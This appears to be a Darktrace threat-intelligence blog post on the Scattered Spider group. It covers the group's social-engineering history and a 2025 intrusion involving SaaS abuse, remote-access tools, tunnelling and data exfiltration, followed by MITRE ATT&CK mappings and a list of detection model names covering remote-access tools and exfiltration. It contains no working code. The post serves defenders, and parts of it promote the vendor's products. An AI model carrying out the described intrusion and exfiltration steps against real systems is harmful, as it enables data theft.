While attribution is sometimes unconfirmed, Scattered Spider have been linked with a number of highly publicized attacks since 2022.

Smishing attacks on Twilio: In August 2022 the group conducted multiple social engineering-based attacks. One example was an SMS phishing (smishing) attack against the cloud communication platform Twilio, which led to the compromise of employee accounts, allowing actors to access internal systems and ultimately target Twilio customers [5][6].

Phishing and social engineering against MailChimp: Another case involved a phishing and social engineering attack against MailChimp. After gaining access to internal systems through compromised employee accounts the group conducted further attacks specifically targeting MailChimp users within cryptocurrency and finance industries [5][7].

Social engineering against Riot Games: In January 2023, the group was linked with an attack on video game developer Riot Games where social engineering was once again used to access internal systems. This time, the attackers exfiltrated game source code before sending a ransom note [8][9].

Attack on Caesars & MGM: In September 2023, Scattered Spider was linked with attacked on Caesars Entertainment and MGM Resorts International, two of the largest casino and gambling companies in the United States. It was reported that the group gathered nearly six terabytes of stolen data from the hotels and casinos, including sensitive information of guests, and made use of the RaaS strain BlackCat [10].

Ransomware against Marks & Spencer: More recently, in April 2025, the group has also been linked to the alleged ransomware incident against the UK-based retailer Marks & Spencer (M&S) making use of the DragonForce RaaS [11].

How a recent attack observed by Darktrace compares

In May 2025, Darktrace observed a Scattered Spider attack affecting one of its customers. While initial access in this attack fell outside of Darktrace’s visibility, information from the affected customer suggests similar social engineering techniques involving abuse of the customer’s helpdesk and voice phishing (vishing) were used for reconnaissance.

Initial access

It is believed the threat actor took advantage of the customer’s third-party Software-as-a-Service (SaaS) applications, such as Salesforce during the attack.

Such applications are a prime target for data exfiltration due to the sensitive data they hold; customer, personnel, and business data can all prove useful in enabling further access into target networks.

Techniques used by Scattered Spider following initial access to a victim network tend to vary more widely and so details are sparser within OSINT. However, Darktrace is able to provide some additional insight into what techniques were used in this specific case, based on observed activity and subsequent investigation by its Threat Research team.

Lateral movement

Following initial access to the customer’s network, the threat actor was able to pivot into the customer’s Virtual Desktop Infrastructure (VDI) environment.

Darktrace observed the threat actor spinning up new virtual machines and activating cloud inventory management tools to enable discovery of targets for lateral movement.

In some cases, these virtual machines were not monitored or managed by the customer’s security tools, allowing the threat actor to make use of additional tooling such as AnyDesk which may otherwise have been blocked.

Tooling in further stages of the attack sometimes overlapped with previous OSINT reporting on Scattered Spider, with anomalous use of Ngrok and Teleport observed by Darktrace, likely representing C2 communication. Additional tooling was also seen being used on the virtual machines, such as Pastebin.

 Cyber AI Analyst’s detection of C2 beaconing to a teleport endpoint with hostname CUSTOMERNAME.teleport[.]sh, likely in an attempt to conceal the traffic.
Figure 1: Cyber AI Analyst’s detection of C2 beaconing to a teleport endpoint with hostname CUSTOMERNAME.teleport[.]sh, likely in an attempt to conceal the traffic.

Leveraging LOTL techniques

Alongside use of third-party tools that may have been unexpected on the network, various LOTL techniques were observed during the incident; this primarily involved the abuse of standard network protocols such as:

  • SAMR requests to alter Active Directory account details
  • Lateral movement over RDP and SSH
  • Data collection over LDAP and SSH

Coordinated exfiltration activity linked through AI-driven analysis

Multiple methods of exfiltration were observed following internal data collection. This included SSH transfers to IPs associated with Vultr, alongside significant uploads to an Amazon S3 bucket.

While connections to this endpoint were not deemed unusual for the network at this stage due to the volume of traffic seen, Darktrace’s Cyber AI Analyst was still able to identify the suspiciousness of this behavior and launched an investigation into the activity.

Cyber AI Analyst successfully correlated seemingly unrelated internal download and external upload activity across multiple devices into a single, broader incident for the customer’s security team to review.

Cyber AI Analyst Incident summary showing a clear outline of the observed activity, including affected devices and the anomalous behaviors detected.
Figure 2: Cyber AI Analyst Incident summary showing a clear outline of the observed activity, including affected devices and the anomalous behaviors detected.
Figure 3: Cyber AI Analyst’s detection of internal data downloads and subsequent external uploads to an Amazon S3 bucket.

Exfiltration and response

Unfortunately, as Darktrace was not configured in Autonomous Response mode at the time, the attack was able to proceed without interruption, ultimately escalating to the point of data exfiltration.

Despite this, Darktrace was still able to recommend several Autonomous Response actions, aimed at containing the attack by blocking the internal data-gathering activity and the subsequent data exfiltration connections.

These actions required manual approval by the customer’s security team and as shown in Figure 3, at least one of the recommended actions was subsequently approved.

Had Darktrace been enabled in Autonomous Response mode, these measures would have been applied immediately, effectively halting the data exfiltration attempts.

Further recommendations for Autonomous Response actions in Darktrace‘s Incident Interface, with surgical response targeting both the internal data collection and subsequent exfiltration.
Figure 4: Further recommendations for Autonomous Response actions in Darktrace‘s Incident Interface, with surgical response targeting both the internal data collection and subsequent exfiltration.

Scattered Spider’s use of RaaS

In this recent Scattered Spider incident observed by Darktrace, exfiltration appears to have been the primary impact. While no signs of ransomware deployment were observed here, it is possible that this was the threat actors’ original intent, consistent with other recent Scattered Spider attacks involving RaaS platforms like DragonForce.

DragonForce emerged towards the end of 2023, operating by offering their platform and capabilities on a wide scale. They also launched a program which offered their affiliates 80% of the eventual ransom, along with tools for further automation and attack management [13].

The rise of RaaS and attacker customization is fragmenting TTPs and indicators, making it harder for security teams to anticipate and defend against each unique intrusion.

While DragonForce appears to be the latest RaaS used by Scattered Spider, it is not the first, showcasing the ongoing evolution of tactics used the group.

In addition, the BlackCat RaaS strain was reportedly used by Scattered Spider for their attacks against Caesars Entertainment and MGM Resorts International [10].

In 2024 the group was also seen making use of additional RaaS strains; RansomHub and Qilin [15].

What security teams and CISOs can do to defend against Scattered Spider

The ongoing changes in tactics used by Scattered Spider, reliance on LOTL techniques, and continued adoption of evolving RaaS providers like DragonForce make it harder for organizations and their security teams to prepare their defenses against such attacks.

CISOs and security teams should implement best practices such as MFA, Single Sign-On (SSO), notifications for suspicious logins, forward logging, ethical phishing tests.

Also, given Scattered Spider’s heavy focus on social engineering, and at times using their native English fluency to their advantage, it is critical to IT and help desk teams are reminded they are possible targets.

Beyond social engineering, the threat actor is also adept at taking advantage of third-party SaaS applications in use by victims to harvest common SaaS data, such as PII and configuration data, that enable the threat actor to take on multiple identities across different domains.

With Darktrace’s Self-Learning AI, anomaly-based detection, and Autonomous Response inhibitors, businesses can halt malicious activities in real-time, whether attackers are using known TTPs or entirely new ones. Offerings such as Darktrace /Attack Surface Management enable security teams to proactively identify signs of malicious activity before it can cause an impact, while more generally Darktrace’s ActiveAI Security Platform can provide a comprehensive view of an organization’s digital estate across multiple domains.

Credit to Justin Torres (Senior Cyber Analyst), Emma Foulger (Global Threat Research Operations Lead), Zaki Al-Dhamari (Cyber Analyst), Nathaniel Jones (VP, Security & AI Strategy, FCISO), and Ryan Traill (Analyst Content Lead)

---------------------

The information provided in this blog post is for general informational purposes only and is provided "as is" without any representations or warranties, express or implied. While Darktrace makes reasonable efforts to ensure the accuracy and timeliness of the content related to cybersecurity threats such as Scattered Spider, we make no warranties or guarantees regarding the completeness, reliability, or suitability of the information for any purpose.

This blog post does not constitute professional cybersecurity advice, and should not be relied upon as such. Readers should seek guidance from qualified cybersecurity professionals or legal counsel before making any decisions or taking any actions based on the content herein.

No warranty of any kind, whether express or implied, including, but not limited to, warranties of performance, merchantability, fitness for a particular purpose, or non-infringement, is given with respect to the contents of this post.

Darktrace expressly disclaims any liability for any loss or damage arising from reliance on the information contained in this blog.

Appendices

References

[1] https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a

[2] https://attack.mitre.org/groups/G1015/

[3] https://www.rapid7.com/blog/post/scattered-spider-rapid7-insights-observations-and-recommendations/

[4] https://www.crowdstrike.com/en-us/blog/scattered-spider-attempts-to-avoid-detection-with-bring-your-own-vulnerable-driver-tactic/

[5] https://krebsonsecurity.com/2024/06/alleged-boss-of-scattered-spider-hacking-group-arrested/?web_view=true

[6] https://www.cxtoday.com/crm/uk-teenager-accused-of-hacking-twilio-lastpass-mailchimp-arrested/

[7] https://mailchimp.com/newsroom/august-2022-security-incident/

[8] https://techcrunch.com/2023/02/02/0ktapus-hackers-are-back-and-targeting-tech-and-gaming-companies-says-leaked-report/

[9] https://www.pcmag.com/news/hackers-behind-riot-games-breach-stole-league-of-legends-source-code

[10] https://www.bbrown.com/us/insight/a-look-back-at-the-mgm-and-caesars-incident/

[11] https://cyberresilience.com/threatonomics/scattered-spider-uk-retail-attacks/

[12] https://www.crowdstrike.com/en-us/cybersecurity-101/ransomware/ransomware-as-a-service-raas/

[13] https://www.group-ib.com/blog/dragonforce-ransomware/
[14] https://blackpointcyber.com/wp-content/uploads/2024/11/DragonForce.pdf
[15] https://x.com/MsftSecIntel/status/1812932749314978191?lang=en

Select MITRE tactics associated with Scattered Spider

Tactic – Technique – Technique Name

Reconnaissance - T1598 -   Phishing for Information

Initial Access - T1566 – Phishing

Execution - T1204 - User Execution

Privilege Escalation - T1068 - Exploitation for Privilege Escalation

Defense Evasion - T1656 - Impersonation

Credential Access - T1621 - Multi-Factor Authentication Request Generation

Lateral Movement - T1021 - Remote Services

Command and Control - T1102 - Web Service

Command and Control - T1219 - Remote Access Tools

Command and Control - T1572 - Protocol Tunneling

Exfiltration - T1567 - Exfiltration Over Web Service

Impact - T1657 - Financial Theft

Select MITRE tactics associated with DragonForce

Tactic – Technique – Technique Name

Initial Access, Defense Evasion, Persistence, Privilege Escalation - T1078 - Valid Accounts

Initial Access, Persistence - T1133 - External Remote Services

Initial Access - T1190 - Exploit Public-Facing Application

Initial Access - T1566 – Phishing

Execution - T1047 - Windows Management Instrumentation

Privilege Escalation - T1068 - Exploitation for Privilege Escalation

Lateral Movement - T1021 - Remote Services

Impact - T1486 - Data Encrypted for Impact

Impact - T1657 - Financial Theft

Select Darktrace models

Compliance / Internet Facing RDP Server

Compliance / Incoming Remote Access Tool

Compliance / Remote Management Tool on Server

Anomalous File / Internet Facing System File Download

Anomalous Server Activity/ New User Agent from Internet Facing System

Anomalous Connection / Callback on Web Facing Device

Device / Internet Facing System with High Priority Alert

Anomalous Connection / Unusual Admin RDP

Anomalous Connection / High Priority DRSGetNCChanges

Anomalous Connection / Unusual Internal SSH

Anomalous Connection / Active Remote Desktop Tunnel

Compliance / Pastebin

Anomalous Connection / Possible Tunnelling to Rare Endpoint

Compromise / Beaconing Activity to External Rare

Device / Long Agent Connection to New Endpoint

Compromise / SSH to Rare External AWS

Compliance / SSH to Rare External Destination

Anomalous Server Activity / Outgoing from Server

Anomalous Connection / Large Volume of LDAP Download

Unusual Activity / Internal Data Transfer on New Device

Anomalous Connection / Download and Upload

Unusual Activity / Enhanced Unusual External Data Transfer

Compromise / Ransomware/Suspicious SMB Activity

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About the author
Emma Foulger
Global Threat Research Operations Lead
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